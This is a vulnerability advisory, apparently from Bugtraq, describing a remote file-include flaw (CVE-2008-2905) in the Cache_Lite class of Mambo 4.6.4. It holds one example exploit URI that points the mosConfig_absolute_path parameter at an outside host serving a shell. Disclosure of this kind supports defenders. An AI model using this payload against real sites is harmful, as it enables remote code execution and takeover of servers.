Mambo Cache_Lite Class 'mosConfig_absolute_path' Remote File Include Vulnerability

Bugtraq ID:	29716
Class:	Input Validation Error
CVE:	CVE-2008-2905
Remote:	Yes
Local:	No
Published:	Jun 14 2008 12:00AM
Updated:	Mar 19 2015 08:23AM
Credit:	[email protected]
Vulnerable:	Mambo Mambo Open Source 4.6.4 Fabien MARTY Cache_Lite 1.1
Not Vulnerable:

Mambo Cache_Lite Class 'mosConfig_absolute_path' Remote File Include Vulnerability

The Cache_Lite class for Mambo is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Cache_Lite 1.1 from Mambo 4.6.4 is vulnerable; other versions may also be affected.

Mambo Cache_Lite Class 'mosConfig_absolute_path' Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/[path]/includes/Cache/Lite/Output.php?mosConfig_absolute_path=http://www.example2.com/shell?

The following exploit is available:

• /data/vulnerabilities/exploits/29716.rb

Mambo Cache_Lite Class 'mosConfig_absolute_path' Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Mambo Cache_Lite Class 'mosConfig_absolute_path' Remote File Include Vulnerability

References:

• Mambo Homepage (Mambo)